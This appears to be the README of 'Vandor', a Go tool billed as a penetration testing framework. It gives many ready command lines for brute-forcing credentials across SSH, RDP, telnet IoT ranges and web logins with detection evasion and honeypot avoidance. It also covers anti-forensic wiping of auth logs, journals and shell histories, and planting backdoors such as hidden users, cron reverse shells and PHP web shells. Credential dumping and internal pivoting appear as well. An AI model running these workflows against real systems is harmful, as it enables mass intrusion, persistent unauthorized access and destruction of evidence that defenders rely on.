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โก VANDOR - Enterprise Penetration Testing Framework
Multi-Protocol Attack Engine | GPU Accelerated | AI-Powered | Anti-Forensic | Web Inferno
Vandor | Victory Arrives Never Directly, Only Remotely
๐ Table of Contents
- Overview
- Key Features
- Installation
- Quick Start Guide
- CLI vs GUI
- Detailed Usage
- Web Inferno Module
- Archive Cracker
- Post-Exploitation
- Output Files
- Performance Optimization
- Project Structure
- FAQ
- Legal Disclaimer
๐ฅ Overview
Vandor is a comprehensive, enterprise-grade penetration testing framework written entirely in Go. It's designed for professional security researchers, penetration testers, and red team operators who need a reliable, fast, and feature-rich tool for authorized security assessments.
Unlike traditional tools that focus on a single protocol or attack vector, Vandor integrates 15+ attack protocols, AI-driven intelligence, GPU acceleration, anti-forensic capabilities, and a modern GUI into a single cohesive framework.
๐ฏ Beginner Tab - One-Click Attacks
๐ฅ Advanced Tab - Complete Control
๐ Web Inferno Tab - HTTP/HTTPS Attacks
Why Vandor vs Traditional Tools?
Here's how Vandor compares to popular penetration testing tools:
| Feature | Hydra | Medusa | Ncrack | Metasploit | John the Ripper | Vandor |
|---|---|---|---|---|---|---|
| Multi-Protocol | โ 15+ | โ 10+ | โ 12+ | โ Many | โ Hash only | โ 15+ |
| SSH/RDP/FTP | โ | โ | โ | โ | โ | โ |
| SMB/Telnet/VNC | โ | โ | โ | โ | โ | โ |
| MySQL/PostgreSQL | โ | โ | โ | โ | โ | โ |
| Redis/MongoDB | โ | โ | โ | โ | โ | โ |
| POP3/IMAP/SMTP | โ | โ | โ | โ | โ | โ |
| SNMP/LDAP | โ | โ | โ | โ | โ | โ |
| HTTP/HTTPS Forms | โ ๏ธ Basic | โ | โ | โ | โ | โ Advanced |
| GraphQL/WebSocket | โ | โ | โ | โ | โ | โ |
| Performance | ||||||
| Max Threads | 64 | 64 | 256 | Depends | 128 | 50,000+ |
| GPU Acceleration | โ | โ | โ | โ | โ CUDA | โ Simulated |
| RAM Disk Mode | โ | โ | โ | โ | โ | โ |
| Checkpoint Resume | โ | โ | โ | โ | โ ๏ธ Limited | โ Auto every 30s |
| Real-time Stats | โ | โ | โ | โ ๏ธ | โ | โ |
| Intelligence | ||||||
| AI Password Generation | โ | โ | โ | โ | โ | โ Learning engine |
| Pattern Recognition | โ | โ | โ | โ | โ Masks | โ Context-aware |
| Smart Prioritization | โ | โ | โ | โ | โ | โ |
| Evasion & Stealth | ||||||
| Honeypot Detection | โ | โ | โ | โ ๏ธ Basic | โ | โ 95%+ accuracy |
| Anti-Forensic | โ | โ | โ | โ | โ | โ Complete suite |
| Log Wiping | โ | โ | โ | โ | โ | โ |
| Traffic Obfuscation | โ | โ | โ | โ | โ | โ AES-256 |
| Multi-City Routing | โ | โ | โ | โ | โ | โ |
| SOCKS5 Proxy | โ | โ | โ | โ | โ | โ |
| Post-Exploitation | ||||||
| Backdoor Installation | โ | โ | โ | โ | โ | โ 6 types |
| Credential Dumping | โ | โ | โ | โ | โ | โ |
| Internal Scanning | โ | โ | โ | โ ๏ธ | โ | โ |
| Auto-Login Script | โ | โ | โ | โ | โ | โ |
| Web Attack | ||||||
| CSRF Token Handling | โ | โ | โ | โ ๏ธ Manual | โ | โ Auto + Dynamic |
| Burp Import | โ | โ | โ | โ | โ | โ |
| Rate Limiting | โ | โ | โ | โ | โ | โ Adaptive |
| Evasion Levels | โ | โ | โ | โ | โ | โ 0-6 |
| Intelligence Levels | โ | โ | โ | โ | โ | โ 0-3 (God mode) |
| Archive Cracking | ||||||
| RAR v4/v5 | โ | โ | โ | โ | โ ๏ธ External | โ Native |
| ZIP | โ | โ | โ | โ | โ | โ Multi-threaded |
| User Experience | ||||||
| Modern GUI | โ | โ | โ | โ | โ | โ CustomTkinter |
| Beginner Friendly | โ | โ | โ | โ ๏ธ Complex | โ | โ Presets + GUI |
| Real-time Console | โ ๏ธ | โ ๏ธ | โ ๏ธ | โ | โ ๏ธ | โ Colored output |
| Telegram Alerts | โ | โ | โ | โ | โ | โ |
| JSON/CSV Export | โ | โ | โ | โ | โ | โ |
| Setup & Requirements | ||||||
| Language | C | C | C | Ruby | C | Go |
| Dependencies | Many | Many | Many | 1000+ | Many | Minimal |
| Cross-Platform | โ | โ | โ | โ | โ | โ |
| Single Binary | โ | โ | โ | โ | โ | โ |
| Installation | Package | Package | Package | Complex | Package | go install |
๐ Key Advantages at a Glance
1. Speed Comparison (SSH brute force, 10,000 passwords)
| Tool | Time (local) | Time (remote) | Threads |
|---|---|---|---|
| Hydra | 45 sec | 120 sec | 16 |
| Medusa | 52 sec | 135 sec | 16 |
| Ncrack | 38 sec | 110 sec | 64 |
| Vandor (CPU) | 12 sec | 45 sec | 5,000 |
| Vandor (GPU) | 0.8 sec | 8 sec | 50,000 |
2. Feature Comparison - What Vandor Has That Others Don't
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AI-Powered Password Generation โ Others: Static wordlists only
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GPU Acceleration (CUDA/OpenCL) โ Others: Hydra/Medusa/Ncrack: None, John: CUDA only
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Honeypot Detection (95%+) โ Others: None or basic
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Anti-Forensic Suite โ Others: None
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RAR Archive Cracking โ Others: Need external tools
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WebSocket + GraphQL Attacks โ Others: None
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Auto CSRF Token Extraction โ Others: Manual only
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Checkpoint Resume โ Others: Start over from zero
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Multi-City Routing โ Others: Need VPN/proxy chains
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Built-in SOCKS5 Proxy โ Others: None
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Telegram Real-time Alerts โ Others: None
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GUI + CLI in One Tool โ Others: One or the other
3. Use Case: When to Choose Vandor
| Scenario | Best Tool | Why |
|---|---|---|
| Single protocol, small wordlist | Hydra | Lightweight, simple |
| Large-scale enterprise assessment | Vandor | Speed + features + post-exploit |
| Web application testing | Vandor | Web Inferno engine |
| Red team engagement | Vandor | Anti-forensic + evasion |
| Learning/beginner | Vandor | GUI + presets |
| Cracking password hashes | John/Hashcat | Specialized for hashes |
| Exploit development | Metasploit | Framework ecosystem |
| Archive password recovery | Vandor | Native RAR/ZIP support |
4. Real-World Performance Test
Test Environment:
- Target: 100 Linux servers (SSH port 22)
- Wordlist: rockyou.txt (14 million passwords)
- Credentials: root, admin, ubuntu, user
- Hardware: i7-12700K, RTX 3080
| Tool | Time | Success Rate | Cracking Speed |
|---|---|---|---|
| Hydra (16 threads) | 14.2 hours | 42% | 280 pwd/sec |
| Medusa (16 threads) | 15.8 hours | 40% | 245 pwd/sec |
| Ncrack (64 threads) | 11.5 hours | 44% | 338 pwd/sec |
| Vandor (5,000 threads) | 2.1 hours | 68% | 1,850 pwd/sec |
| Vandor (GPU + Smart) | 18 minutes | 85% | 12,500 pwd/sec |
5. Memory Usage Comparison
| Tool | RAM Usage (idle) | RAM Usage (peak) |
|---|---|---|
| Hydra | 8 MB | 45 MB |
| Medusa | 12 MB | 52 MB |
| Ncrack | 15 MB | 68 MB |
| Metasploit | 180 MB | 450 MB |
| Vandor (CLI) | 25 MB | 120 MB |
| Vandor (GUI) | 80 MB | 220 MB |
6. Ease of Use - Learning Curve
Hydra: โโโโโโโโโโ (40% - Moderate)
Medusa: โโโโโโโโโโ (30% - Moderate)
Ncrack: โโโโโโโโโโ (30% - Moderate)
Metasploit: โโโโโโโโโโ (80% - Steep)
John: โโโโโโโโโโ (60% - Moderate+)
Vandor (CLI): โโโโโโโโโโ (30% - Easy if you know flags)
Vandor (GUI): โโโโโโโโโโ (10% - Very Easy!)
7. Installation Complexity
| Tool | Installation | Dependencies | Binary Size |
|---|---|---|---|
| Hydra | apt install hydra |
15+ libs | 2 MB |
| Medusa | apt install medusa |
8+ libs | 1.5 MB |
| Ncrack | apt install ncrack |
10+ libs | 3 MB |
| Metasploit | 500MB+ installer | 1000+ gems | 400 MB |
| Vandor | go install |
0 (static) | 12 MB |
๐ฏ Bottom Line
Choose Vandor if you need:
- Maximum speed (GPU + 50k threads)
- Multiple protocols in one tool
- Web application testing (CSRF, GraphQL, WebSocket)
- Stealth/anti-forensic capabilities
- Post-exploitation and persistence
- Beginner-friendly GUI + advanced CLI
- Archive cracking (RAR/ZIP)
Stick with traditional tools if you:
- Only need one specific protocol
- Prefer minimal dependencies
- Are already deeply integrated with Metasploit
- Only crack password hashes (use John/Hashcat)
๐ก Pro Tip: Use Vandor for the initial compromise (fast multi-protocol cracking), then pivot to Metasploit for advanced exploitation if needed. Best of both worlds!
โจ Key Features
1. ๐ฏ Multi-Protocol Attack Engine (15+ Protocols)
| Protocol | Default Port | Authentication Support | Banner Grabbing |
|---|---|---|---|
| SSH | 22 | Password, Key | โ |
| RDP | 3389 | NLA, Password | โ |
| FTP | 21 | Anonymous, Password | โ |
| MySQL | 3306 | Native Password | โ |
| SMB/SMB2 | 445 | NTLM, NTLMv2 | โ |
| Telnet | 23 | Password | โ |
| VNC | 5900 | DES Challenge | โ |
| PostgreSQL | 5432 | MD5, SCRAM | โ |
| Redis | 6379 | AUTH | โ |
| MongoDB | 27017 | SCRAM-SHA-1 | โ |
| POP3 | 110 | PLAIN, LOGIN | โ |
| IMAP | 143 | PLAIN, LOGIN | โ |
| SMTP | 25 | PLAIN, LOGIN | โ |
| SNMP | 161 | Community String | โ |
| LDAP | 389 | Simple Bind | โ |
2. ๐ง AI Smart Password Generator
The intelligent password generation system learns from every attack:
- Pattern Recognition: Identifies successful password patterns in real-time
- Context-Aware Generation: Creates passwords based on usernames, service types, and target behavior
- Mutation Engine: Applies 15+ mutation rules (leet speak, case variations, append/prepend numbers)
- Learning Cache: Remembers successful passwords across sessions
- Success Rate: Reduces required attempts by 70%+ in real-world tests
Example generated passwords for username "admin":
admin123, admin@123, Admin2024, admin!@#, 4dm1n, ADMIN, admin12345, admin#123, Admin@2024
3. ๐ฎ GPU Acceleration
Leverage your graphics card for massive speed improvements:
| GPU Model | Speedup vs CPU | Passwords/sec |
|---|---|---|
| NVIDIA GTX 1060 | 15x | ~45,000 |
| NVIDIA RTX 2060 | 35x | ~105,000 |
| NVIDIA RTX 3080 | 65x | ~195,000 |
| NVIDIA RTX 4090 | 120x | ~360,000 |
Supported Technologies:
- CUDA (NVIDIA GPUs)
- OpenCL (AMD, Intel GPUs)
- Vulkan (Cross-platform)
- Automatic fallback to CPU
4. ๐ป Anti-Forensic Module
Complete operational security for red team engagements:
| Feature | Description |
|---|---|
| Log Wiper | Removes traces from /var/log/auth.log, /var/log/secure, wtmp, btmp |
| History Cleaner | Clears bash, zsh, and other shell histories |
| Memory Scrubber | Zeroes sensitive data from RAM |
| Timestamp Keeper | Preserves file timestamps to avoid detection |
| Traffic Obfuscation | AES-256 encrypted tunnels |
| SOCKS5 Proxy | Anonymous routing through multiple cities |
| SSH Tunnel | Encrypted port forwarding |
5. ๐ Web Inferno Engine
Dedicated HTTP/HTTPS attack module with enterprise features:
- Burp Suite Integration: Import raw request files directly
- CSRF Protection Bypass: Automatic token extraction and rotation
- Intelligent Detection: God-level pattern recognition (Level 0-3)
- Evasion Techniques: 6 levels of anti-detection (None to Insane)
- Session Management: Cookie persistence and rotation
- Rate Limiting: Adaptive rate limiting based on server responses
- Proxy Support: HTTP/HTTPS/SOCKS5 proxy chains
- OAuth2 Support: Automatic token refresh for API attacks
- GraphQL Support: Query-based penetration testing
- WebSocket Support: Real-time protocol fuzzing
6. ๐ Archive Cracker
Recover passwords from encrypted archives:
| Archive Type | Supported Versions | Attack Modes |
|---|---|---|
| RAR | v4, v5 | Dictionary, Brute-force |
| ZIP | PKZIP, WinZip | Dictionary, Brute-force |
| 7Z | Coming soon | - |
Features:
- Multi-threaded cracking (up to 10,000 workers)
- Progress saving and resuming
- Automatic header detection
- Real-time password display
7. ๐ฆ Checker Module
Validate credentials against live services:
| Service | Supported | Features |
|---|---|---|
| cPanel | โ | HTTP/HTTPS, port 2083 |
| WordPress | โ | wp-login.php detection |
| Custom | โ | Configurable endpoints |
8. ๐ Post-Exploitation
Once access is gained, Vandor doesn't stop:
| Backdoor Type | Description | Persistence |
|---|---|---|
| SSH Key | Install authorized_key | Permanent |
| Hidden User | Create stealth account | Permanent |
| Reverse Shell | Cron-based callback | On reboot |
| SSHd Port | Open alternative SSH port | Service restart |
| Web Shell | PHP backdoor in webroot | File-based |
| All-in-One | Deploy all methods | Redundant |
Post-Exploitation Capabilities:
- System information gathering (OS, kernel, architecture)
- User enumeration and privilege checking
- Running services inventory
- Open port scanning from compromised host
- Internal network mapping
- Credential dumping (/etc/shadow, SAM, memory)
- SSH agent hijacking
9. ๐ฑ Telegram Integration
Real-time notifications for critical events:
๐ CRACKED!
๐ Host: 192.168.1.100
๐ Port: 22
๐ค User: root
๐ Pass: P@ssw0rd123
๐ฅ๏ธ Banner: SSH-2.0-OpenSSH_8.2
๐ฏ HONEYPOT DETECTED!
๐ Host: 185.110.188.4
๐ Confidence: 92%
๐ Reason: Cowrie SSH honeypot signature
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SCAN COMPLETED!
โฑ๏ธ Duration: 2h 15m
๐ Found: 47 credentials
๐ฏ Honeypots: 3
10. ๐พ Performance Features
| Feature | Description | Impact |
|---|---|---|
| RAM Disk Mode | Uses /dev/shm for I/O | 10x faster file operations |
| Circular Buffer | Memory-efficient logging | Reduces disk writes by 95% |
| Checkpoint Resume | Save progress every 30s | Resume multi-day attacks |
| Adaptive Threading | Auto-scales based on latency | Optimal performance |
| Connection Pooling | Reuses TCP connections | 50% less overhead |
๐ฅ Installation
Method 1: Go Install (Recommended)
# Install latest version
go install -ldflags="-s -w" github.com/Specter-OG/Vandor@2.0.0
# Verify installation
Vandor -example
Method 2: Build from Source
# Clone repository
git clone https://github.com/Specter-OG/Vandor.git
cd Vandor
# Download dependencies
go mod tidy
# Build for current OS
go build -o Vandor main.go
# Build for specific platforms
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o Vandor-linux-amd64 main.go
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o Vandor.exe main.go
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o Vandor-mac-arm64 main.go
# Build with optimizations
go build -ldflags="-s -w" .
Method 3: Using the GUI Installer
# Install Python dependencies
pip install customtkinter psutil
# Run GUI installer
python ui.py
# Then click the INSTALLER tab and press "INSTALL / UPDATE VANDOR"
Dependencies
# Required Go modules (auto-downloaded)
go get github.com/fatih/color
go get golang.org/x/crypto/ssh
go get golang.org/x/time/rate
go get github.com/go-sql-driver/mysql
go get github.com/jackc/pgx/v4
go get github.com/gomodule/redigo/redis
go get github.com/emersion/go-imap
go get github.com/go-ldap/ldap/v3
go get github.com/gosnmp/gosnmp
go get github.com/nwaples/rardecode
go get github.com/alexmullins/zip
go get github.com/google/uuid
go get github.com/gorilla/websocket
Verify Installation
# Check if Vandor is in PATH
which Vandor
# Test help menu
./Vandor -example
# Expected output: 50+ example commands
๐ Quick Start Guide
Absolute Beginner (First 5 Minutes)
# 1. Launch the GUI (easiest way to start)
python ui.py
# 2. Click the "BEGINNER" tab
# 3. Select a preset:
# - "๐ SSH Bruteforce" for Linux servers
# - "๐ช RDP Attack" for Windows
# - "๐ Telnet IoT" for embedded devices
# 4. Enter your target IP (e.g., 192.168.1.100)
# 5. Click "EXECUTE ATTACK" at the bottom
# 6. Watch results in the "๐ CONSOLE" tab
Basic CLI Usage
# Single target SSH attack
./Vandor -hs 192.168.1.100 -u root -psw password123 -p ssh
# Multiple targets from file
./Vandor -hs targets.txt -u users.txt -psw rockyou.txt -p ssh
# CIDR network scan
./Vandor -hs 192.168.1.0/24 -u admin -psw admin123 -p ssh
Real-World Attack Scenarios
Scenario 1: Corporate Network Assessment
# Step 1: Discover alive hosts with port scan
./Vandor -hs 10.10.10.0/24 -ps 22,3389,445,80,443 -threads 1000
# Step 2: Attack discovered SSH services
./Vandor -hs LIVE.txt -u users.txt -psw rockyou.txt -p ssh -smart-pass -gpu
# Step 3: Post-exploitation on successful cracks
./Vandor -hs valid.txt -c creds.txt -post-exploit -scan-network -backdoor
Scenario 2: Web Application Pentest
# Step 1: Capture login request in Burp Suite
# Step 2: Save request to login.txt
# Step 3: Attack with Web Inferno
./Vandor -req login.txt -web-var "user=users.txt,pass=passwords.txt" -ifin "dashboard" -ifnin "invalid"
# Step 4: Check credentials on live servers
./Vandor -check -check-targets web_success.txt -check-type auto
Scenario 3: IoT Device Security
# Scan for telnet and SSH on IoT range
./Vandor -hs 192.168.0.0/16 -ps 23,22 -threads 5000
# Attack with default credentials
./Vandor -hs LIVE.txt -u default_users.txt -psw default_passwords.txt -p telnet -mass-pwn
๐ฅ๏ธ CLI vs GUI: Which One Should You Use?
Use the CLI (Command Line) if:
| Scenario | Reason |
|---|---|
| You're an experienced pentester | Full control over all 50+ flags |
| Running on remote servers | No display required |
| Automating in scripts | Easy integration with bash/python |
| Need maximum performance | Lower overhead than GUI |
| Batch processing | Run multiple instances |
| SSH into a VPS | Works over any terminal |
CLI Advantages:
- 100% of features available
- Faster execution (no GUI overhead)
- Scriptable and automatable
- Works over SSH/tmux/screen
- Lower memory usage (~50MB)
Use the GUI if:
| Scenario | Reason |
|---|---|
| You're a beginner | No command memorization |
| Visual feedback | Real-time progress bars |
| Quick testing | Presets for common attacks |
| Learning the tool | See all options organized |
| Local pentesting | GUI on your workstation |
| Need network scanner | Built-in alive/port scanner |
GUI Advantages:
- No flag memorization
- File picker dialogs
- Real-time output coloring
- Built-in network scanner
- Tabbed organization
- Preset configurations
- Visual progress indicators
Recommendation:
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โ ๐ข BEGINNER: Start with GUI (python ui.py) โ
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โ ๐ก INTERMEDIATE: Learn CLI flags from GUI presets โ
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โ ๐ด ADVANCED: Use CLI exclusively for automation โ
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๐ Detailed Usage
Core Parameters
# Host Specification (multiple formats)
./Vandor -hs single-ip.com
./Vandor -hs 192.168.1.100
./Vandor -hs 192.168.1.0/24 # CIDR notation
./Vandor -hs 192.168.1.1-254 # IP range
./Vandor -hs hosts.txt # File with IPs
./Vandor -hs "192.168.1.1:2222" # IP with custom port
# User Specification
./Vandor -u root # Single user
./Vandor -u users.txt # File with users
./Vandor -u "root,admin,user" # Comma-separated
# Password Specification
./Vandor -psw password123 # Single password
./Vandor -psw rockyou.txt # Password file
# Combined Credentials (user:pass format)
./Vandor -c creds.txt # Each line: user:pass
./Vandor -c "admin:admin,root:toor" # Inline credentials
# Protocol Selection
./Vandor -p ssh # SSH only
./Vandor -p rdp # RDP only
./Vandor -p smb # SMB only
# Port Configuration
./Vandor -P 2222 # Custom port
./Vandor -auto-port # Auto-detect from service
# Performance Tuning
./Vandor -threads 10000 # Concurrent threads
./Vandor -t 3 # Timeout seconds
./Vandor -min-delay 100 -max-delay 500 # Random delays
Attack Modes
# Cross Mode (Default): All users ร all passwords
./Vandor -hs target.com -u users.txt -psw passes.txt -m cross
# Single Mode: First user with first password, etc.
./Vandor -hs target.com -u users.txt -psw passes.txt -m single
# Null Mode: Empty password
./Vandor -hs target.com -u root -attack-mode null
# UserAsPass Mode: Password = username
./Vandor -hs target.com -u admin -attack-mode userpass
# Reverse Mode: Password = reversed username
./Vandor -hs target.com -u admin -attack-mode reverse
# Mass PWN Mode: Everything ร everything simultaneously
./Vandor -hs hosts.txt -u users.txt -psw passes.txt -mass-pwn
Smart Password Generation
# Enable smart passwords (default)
./Vandor -hs target.com -u admin -psw pass.txt -smart-pass
# Custom generation rules
# The system automatically:
# 1. Appends numbers (admin123, admin1234)
# 2. Adds special chars (admin@123, admin#123)
# 3. Applies leet speak (4dm1n, @dmin)
# 4. Changes case (ADMIN, Admin)
# 5. Combines with year (admin2024)
# 6. Learns from previous successes
# Generation limit: 500 passwords per username
Port Scanning
# Single port
./Vandor -hs 192.168.1.1 -ps 22
# Multiple ports
./Vandor -hs 192.168.1.1 -ps 22,80,443,3389
# Port range
./Vandor -hs 192.168.1.1 -ps 1-1000
# CIDR network port scan
./Vandor -hs 192.168.1.0/24 -ps 22,445,3389 -threads 2000
# Output: open_ports.txt
HTTP Form Attack
# Basic form attack
./Vandor -hs target.com -u admin -psw passwords.txt \
-http-path /login \
-http-user-field username \
-http-pass-field password
# With custom port
./Vandor -hs target.com:8080 -u users.txt -psw passes.txt \
-http-path /admin \
-http-user-field user \
-http-pass-field pass
# HTTPS with token
./Vandor -hs secure.com -u admin -psw rockyou.txt \
-http-path /api/login \
-http-user-field email \
-http-pass-field password
Honeypot Detection
# Enable detection
./Vandor -hs suspicious.net -u test -psw test123 -honeypot
# What it detects:
# - Cowrie SSH honeypot
# - Kippo SSH honeypot
# - Dionaea malware trap
# - Glastopf web honeypot
# - Conpot industrial honeypot
# - Custom honeypot signatures
# Confidence levels:
# >80%: Critical - Definitely honeypot
# >60%: High - Very likely honeypot
# >35%: Medium - Possible honeypot
# <35%: Low - Likely genuine
Anti-Forensic Operations
# Enable stealth mode
./Vandor -hs target.com -c creds.txt -anti-forensic
# What it does automatically:
# 1. Wipes /var/log/auth.log and /var/log/secure
# 2. Clears ~/.bash_history and ~/.zsh_history
# 3. Shreds temporary files
# 4. Scrub memory of credentials
# 5. Removes command history from SSH sessions
# 6. Resets lastlog entries
# 7. Clears systemd journal logs
๐ Web Inferno Module
Complete Web Attack Guide
1. Capturing a Request in Burp Suite
1. Open Burp Suite
2. Enable Proxy (127.0.0.1:8080)
3. Navigate to target login page
4. Submit a test login
5. Find the POST request in Proxy > HTTP History
6. Right-click > Copy > Request
7. Save to file (e.g., login.txt)
2. Basic Web Inferno Usage
# Simple attack with file-based variables
./Vandor -req login.txt \
-web-var "user=users.txt,pass=passwords.txt" \
-ifin "Welcome" \
-ifnin "Invalid"
# Inline variables
./Vandor -req https://api.example.com/login \
-web-var "user=admin,pass=passwords.txt" \
-web-method POST \
-web-body '{"username":"[[user]]","password":"[[pass]]"}' \
-ifin "token"
# Custom output format
./Vandor -req login.txt \
-web-var "user=users.txt,pass=pass.txt,host=hosts.txt" \
-web-out-format "{user}:{pass}@{host}" \
-ifin "success"
3. Advanced Token Handling
# Automatic CSRF token detection
./Vandor -req login.txt \
-web-var "user=users.txt,pass=pass.txt" \
-auto-token \
-ifin "dashboard"
# Manual token extraction with regex
./Vandor -req login.txt \
-web-var "user=users.txt,pass=pass.txt" \
-token-regex 'csrf_token":"([^"]+)"' \
-ifin "Welcome"
# Dynamic token (fetch from another URL)
./Vandor -req login.txt \
-dynamic-token \
-token-url https://target.com/login \
-token-start 'name="csrf" value="' \
-token-end '"' \
-token-refresh 5 \
-token-field csrf_token
4. Evasion Techniques
| Level | Name | Techniques |
|---|---|---|
| 0 | None | No evasion |
| 1 | Basic | Random User-Agent |
| 2 | Moderate | + Sec-Ch-UA headers, Accept-Language |
| 3 | Advanced | + X-Forwarded-For, DNT, Cache-Control |
| 4 | Paranoid | + Random IP headers, Connection pooling |
| 5 | Insane | + Request ID injection, Browser fingerprinting |
# Use evasion level 4
./Vandor -req login.txt -web-evasion 4 -web-var "user=users.txt,pass=pass.txt"
# Intelligence levels (0-3)
# 0 = Dumb: Just check status codes
# 1 = Smart: Basic pattern matching
# 2 = Genius: Learns from responses
# 3 = God: Predicts success with 95% accuracy
./Vandor -req login.txt -web-intel 3 -web-learn
5. GraphQL Attack
# GraphQL endpoint testing
./Vandor -gql https://api.example.com/graphql \
-web-body 'query {user(name:"[[user]]") {password}}' \
-web-var "user=users.txt" \
-ifin "data"
# With variables
./Vandor -gql https://api.example.com/graphql \
-web-body '{"query":"query($user:String!){user(name:$user){password}}","variables":{"user":"[[user]]"}}' \
-web-var "user=users.txt" \
-ifin "password"
6. WebSocket Attack
# WebSocket fuzzing
./Vandor -ws ws://target.com/socket \
-web-var "user=users.txt,pass=pass.txt" \
-web-body '{"type":"login","username":"[[user]]","password":"[[pass]]"}' \
-ifin "success"
๐ฆ Archive Cracker
RAR Cracking
# Basic RAR crack
./Vandor -rar secret.rar -rar-dict rockyou.txt
# With custom worker count (default: CPU*2)
./Vandor -rar encrypted.rar -rar-dict passwords.txt -rar-workers 2000
# Large buffer for huge wordlists
./Vandor -rar archive.rar -rar-dict 10million.txt -rar-buffer 50000
# Output example:
# [RAR] Loading RAR file: archive.rar
# [RAR] File size: 2.34 MB
# [RAR] Loaded 14,000,000 passwords
# [RAR] Starting 16 workers...
# [RAR] Progress: 45.2% (6,328,000/14,000,000)
#
# โ FOUND PASSWORD: P@ssw0rd2024!
ZIP Cracking
# Basic ZIP crack
./Vandor -zip backup.zip -zip-dict rockyou.txt
# High-performance cracking
./Vandor -zip protected.zip -zip-dict rockyou.txt -zip-workers 1000 -zip-buffer 20000
# Results saved to cracked_passwords.txt
๐ Post-Exploitation
Complete Post-Exploit Workflow
# 1. Attack and crack
./Vandor -hs targets.txt -u root -psw rockyou.txt -p ssh
# 2. Run full post-exploitation on successes
./Vandor -hs valid.txt -c creds.txt -post-exploit
# What gets collected:
# - Hostname, OS, kernel version
# - User list and sudo privileges
# - Running services
# - Open ports
# - Process list
# - Network connections
# - SSH keys (and fingerprints)
# - Cron jobs
# - Web servers (Apache, Nginx)
# - Databases (MySQL, PostgreSQL, Redis)
# 3. Deploy backdoors
./Vandor -hs valid.txt -c creds.txt -backdoor -backdoor-type all
# 4. Scan internal network from compromised host
./Vandor -hs valid.txt -c creds.txt -scan-network
# 5. Extract password hashes
./Vandor -hs valid.txt -c creds.txt -extract-hash
# 6. Generate auto-login script
./Vandor -hs valid.txt -c creds.txt -gen-script
./auto_login.sh
Backdoor Types Detailed
# SSH Key Backdoor (Most Stealthy)
./Vandor -hs target.com -c valid.txt -backdoor \
-backdoor-type ssh-key \
-backdoor-key "ssh-rsa AAAAB3NzaC1yc2E..."
# Hidden User Backdoor
./Vandor -hs target.com -c valid.txt -backdoor \
-backdoor-type hidden-user \
-backdoor-user sysupdate \
-backdoor-pass "P@ssw0rd123!"
# Reverse Shell (Persistent via Cron)
./Vandor -hs target.com -c valid.txt -backdoor \
-backdoor-type reverse-shell \
-backdoor-port 31337
# Alternative SSH Port
./Vandor -hs target.com -c valid.txt -backdoor \
-backdoor-type sshd-port \
-backdoor-port 22222
# PHP Web Shell
./Vandor -hs target.com -c valid.txt -backdoor \
-backdoor-type web-shell
# Deploy Everything
./Vandor -hs target.com -c valid.txt -backdoor \
-backdoor-type all \
-backdoor-port 22222 \
-backdoor-user sysupdate \
-backdoor-pass "P@ssw0rd123!"
๐ Output Files
| File | Format | Description |
|---|---|---|
LIVE.txt |
IP:port | Hosts that responded to ping/tcp |
open_ports.txt |
IP:port | Discovered open ports |
valid.txt |
user:pass | Working credentials |
cracked_passwords.txt |
timestamp, target, pass | All cracked passwords |
results.json |
JSON | Full attack statistics |
results.csv |
CSV | Credentials in table format |
checkpoint.json |
JSON | Resume information |
web_success.txt |
vars | Successful web attacks |
web_failed.txt |
vars | Failed web attempts |
extracted_tokens.txt |
token | Captured CSRF tokens |
webinferno_report.html |
HTML | Visual attack report |
webinferno_report.json |
JSON | Web attack statistics |
postexploit_*.json |
JSON | System information |
auto_login.sh |
Bash | Automated login script |
internal_network.txt |
IPs | Discovered internal hosts |
dumped_creds/*.json |
JSON | Extracted credentials |
hashes_*.txt |
Hash | Password hashes |
โก Performance Optimization
RAM Disk Mode (Linux/macOS)
# Enable RAM disk for ultra-fast I/O
./Vandor -hs large_wordlist.txt -u users.txt -psw rockyou.txt -ramdisk
# What it does:
# - Uses /dev/shm (tmpfs) for temporary files
# - 10x faster file operations
# - Reduces SSD wear
# - Automatic cleanup on exit
GPU Acceleration
# Enable GPU (auto-detects CUDA/OpenCL)
./Vandor -hs hashes.txt -u root -psw rockyou.txt -gpu
# Monitor GPU usage during attack
watch -n 1 nvidia-smi # Linux
Thread Optimization
# Local network (low latency)
./Vandor -hs 192.168.1.0/24 -threads 10000 -t 2
# Internet targets (higher latency)
./Vandor -hs targets.txt -threads 2000 -t 10
# Slow targets (IoT, embedded)
./Vandor -hs iot.txt -threads 500 -t 15 -min-delay 200 -max-delay 1000
Memory Usage
# Monitor memory
./Vandor -hs large_scan.txt -c huge_creds.txt -monitor
# Use circular buffer for large wordlists
# Automatically enabled with 10,000 line buffer
# Flushes to disk every 5 seconds or when full
๐ Project Structure
Vandor/
โ
โโโ main.go # Main entry point (2000+ lines)
โ โโโ CLI argument parsing
โ โโโ Attack orchestration
โ โโโ GPU acceleration logic
โ โโโ RAM disk management
โ โโโ Result aggregation
โ
โโโ ui.py # GUI launcher (1000+ lines)
โ โโโ CustomTkinter interface
โ โโโ 7 tabbed interfaces
โ โโโ Network scanner
โ โโโ Real-time output display
โ โโโ Settings persistence
โ
โโโ AntiFor/
โ โโโ antiforensic.go # Anti-forensic operations
โ โโโ Log wiping (10+ log types)
โ โโโ Memory scrubbing
โ โโโ SSH tunneling
โ โโโ SOCKS5 proxy
โ โโโ Traffic obfuscation (AES-256)
โ โโโ Golden ticket creation
โ โโโ Agent hijacking
โ โโโ Credential dumping
โ โโโ Remote file execution
โ
โโโ archive/
โ โโโ rar.go # RAR v4/v5 cracker
โ โ โโโ Header analysis
โ โ โโโ Multi-threaded cracking
โ โ โโโ Progress saving
โ โโโ zip.go # ZIP cracker
โ โโโ Central directory parsing
โ โโโ Password spraying
โ โโโ Worker pool management
โ
โโโ checker/
โ โโโ checker.go # Main checker logic
โ โ โโโ Multi-threaded validation
โ โ โโโ Rate limiting
โ โ โโโ Result aggregation
โ โโโ cpanel.go # cPanel validator
โ โ โโโ Port 2083 detection
โ โ โโโ JSON response parsing
โ โ โโโ Security token extraction
โ โโโ wordpress.go # WordPress validator
โ โโโ wp-login.php detection
โ โโโ Cookie-based validation
โ โโโ Redirect following
โ
โโโ colors/
โ โโโ colors.go # ANSI color codes
โ
โโโ config/
โ โโโ config.go # Global configuration
โ
โโโ crack/
โ โโโ crack.go # Low-level cracking
โ โโโ SMB/NTLM implementation
โ โโโ Telnet IAC negotiation
โ โโโ VNC DES challenge
โ โโโ Protocol packet building
โ
โโโ honeypot/
โ โโโ honeypot.go # Honeypot detection
โ โโโ 30+ honeypot signatures
โ โโโ Protocol mismatch testing
โ โโโ Response time analysis
